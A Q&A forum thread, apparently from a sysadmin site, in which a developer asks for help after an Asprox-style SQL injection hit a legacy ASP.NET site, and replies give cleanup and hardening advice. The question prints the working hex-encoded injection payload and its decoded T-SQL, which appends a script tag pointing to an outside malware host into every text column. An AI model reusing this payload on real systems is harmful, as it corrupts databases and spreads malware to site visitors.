Possible Duplicate:
My server's been hacked EMERGENCY
Geeze, I'm desperate! A few hours ago our production DB was sql-injected.
I know we have some big holes in the system... because we inherited the website from a guy that did it on classic ASP, his programming was really awful and unsecured. So we spent some time migrating it to ASP.NET (first 1.1, then 2.0 and now 3.5). But it's a big project, and there is still old and unsecure code. I'm not going to lie, the project is a mess, I hate it, but it's our most important client (we are just 2 young guys, not a big company).
So I know they have injected some js script references to my whole db somehow.... It was probably through an old page using concatenated string sql queries and throwing directly into the db (because that guy that starts the project said "Stored procedures doesn't work"..... so he did the whole site using string concatenation, and throwing them directly to the sql without doing any safety validation or anything.
When we got the project, the client didnt want to spend time redoing the crap that the old guy did. So we had to lead to crappy and unsecure code and fixing it while developing new features, because that was what the client wants... and now that we've been sql injected they get crazy of course.
SO....
**Is there any way to check for old the sql queries that have been executed in the last X hours? Something like how SQL Profiler does (but of course we didnt have the profiler open when the attacked happened)? Is there a way to find out which page is the vulnerable one? Please, help, there are a lots of pages. I cannot search through those manually without knowing for sure which one was the page.
Also... could there be another way they could inject the db? Like using an IIS request or js or something?**
I have full Remote desktop access to the server machine (it is not in a hosted environment) so I can access every file, log, whatever on the server...
Please help!
PS: Sorry, my english is not so great, and it's worse now that I'm nervous!
EDIT
- Windows 2003 Server
- SQL SERVER 2005
- ASP .NET 3.5
The script they are throwing is the following
DECLARE @S NVARCHAR(4000);SET @S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F006600310079002E0069006E002F006A002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200 AS NVARCHAR(4000));EXEC @S;
Which translated to text is:
DECLARE @T varchar(255), @C varchar(255)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
exec('update [' + @T + '] set [' + @C + ']=rtrim(convert(varchar,['
+ @C + '])) + ''<script src=http://f1y.in/j.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
The first thing to do is not panic. But I see you've skipped that and have decided to
The second thing is to take the site down and make sure it's not accessible from the outside until you can figure out what's broke. Start looking at access logs and try to find out what the main problem is.
The third thing to do is see if you backup your DB regularly and just do a roll back. You might lose some data -but you'll be in a better spot than you are right now
The fourth thing to do is - DO NOT - give out the url because apparently it's unsecure
Definitely make sure to install the newest version of UrlScan--it was pretty much designed to stomp on this sort of attack.
If you have IIS logs, the entry point should be pretty obvious--look for the one the hackers were hammering.
Another good backstop, if at all possible, is to deny INSERT and UPDATE rights to the web user account and punch that through stored procedures instead. That sort of backstop saved us from having a similar problem with a similar legacy app when this was a zero-day attack.
I think you can also remove the PUBLIC user's right to scan tables, which should keep them from doing the "foreach table" style attacks.
As a reference point, this is the work of the ASPRox bot SQL Injection attack. It seems to surface it self now and then because it gets pretty viral when compromised systems are found. You can Google around for "ASPRox bot" and get some additional cleansing methods and further prevention treatments. I just found this PDF file that has a nice overview on its tactics and links to some cleanup options.
The problem is that virus/injection model essentially took every single text field in ALL your database tables and put in a little snippet that calls out to the URL specified to attempt to infect any other web clients and attempt to make them zombies that visit your site.
So make sure to check all databases on that server in question, not just the one with the database involved to do a proper cleansing.
It appears you're on the right path with the suggestions here, but having some "formal" references to the virus name might help with additional needs.
First, you have to shut the site down, to prevent further injection attacks.
Second, you need to do a security audit, to determine what logging you have, and what security is in place on the system, and determine how the attackers got in.
Third, you need to put in place logging and security for those areas where you were compromised, at the very least. Put in place a system for detecting intrusion that informs you immediately (such as a pager).
Fourth, inform management that the downtime is a consequence of their ignoring security.
Check your IIS logs to find out which page they used to do the injection. Needless to say, you need to fix or disable that page quickly.
The best approach depends on the type of site. If at all possible, take the site down until you've restored an untainted database or reversed the changes (that requires detailed logs). Then you can put the site back up in read-only mode until you have time to fix the problem(s). Just restrict the SQL account to SELECT only.
Even when you concatenate query strings, you can be fairly safe with little effort. Searching all ASP files for keywords like SELECT and UPDATE will reveal all the queries. Surround all your parameters with basic sanity checks to start off.
Since you're probably in a hurry, you can take a look at some really old ASP VBScript code of mine. There are a bunch of SafeSqlWhatever functions in there to help you build safe SQL statements. No warranties, it was never intended to be public. However, replacing all the variable inputs with the SqlVar(someValue) function should get you started. You need to remove the single quotes from the rest of your query string, as SqlVar adds them for you. Alternatively, use the functions specific to the type of value you're expecting:
Before:
After:
PS: no, this is not the way it should be, but probably the quickest to get things back in working order from where you are now.
Trying to answer the original question about tracking down the query I though about doing it from the other direction, if the server has not been reset, pull all the queries from the query cache, that my show up which query was run - assuming it is still in the cache.
IIS might have some logs that could give you some hints at to what pages were accessed, if you have logging turned on. You can check in the configuration of the website.
I would first make sure the sql user for the application only has read access by default. Add insert/update/delete access to only the tables where it is needed.
Do you need to remove the .js references from the database? We used this script a while back to remove all the .js references for all of our tables. Is is a global find/replace for the database. Enter the .js reference where you see this:
PLACE BAD JAVA SCRIPT CODE HERE
What usually happens is that the hacker (which is often a bot) performs a google search for what looks like possible entry points for sql injection (looking for querystrings, by searching for, say "inurl:.aspx?" or "inurl:?id="). and then it automatically tests for injection vulnerability. If you want to find the entry point, it might be a good idea to feed similar queries to google, and see what querystring sites of yours it has indexed.
Moving on, these scripts usually hope that the executing script has access to sysobjects, in which case it can iterate through all the tables in the database, and inject itself into every column. If this has happened (which I guess, otherwise the injection vulnerability could simply be assumed to be where the injected code is), I wrote a script once, that does the same thing, to search the entire database for a given value. it can be found here:
If you don't have any backups (which i'm assuming by your somewhat desperate tone), that script can be used to locate all injected columns, and with a little modification, it could also be used to strip those injections out.
So much for restoring the environment. After that comes the task of making sure it doesn't happen again. You're not in that much of a hurry, whoever injected you probably hit you on random and isn't likely to try it again very soon, but learn a lesson from this and make it a priority issue anyway.
As for securing the site, well, i've already mentioned the google way of getting a hint as to where the vulnerabilities are, but really, it's about time you face the task of moving your sql queries, one by one, to stored procedures, or an OR/M, or something. once you're done with that, you will have come pretty far in tidying up your messy source.
If you know that there are vulnerabilities you should definitely consider using a Web Application Firewall which is a filter running in front of your web server trying to prevent malicious input and known attacks from reaching your application/database. That way you could improve your security ad-hoc without rewriting and checking your legacy application.
This is not a perfect solution but with the given situation it would be a quick way to remedy a bigger amount of security vulnerabilities at once.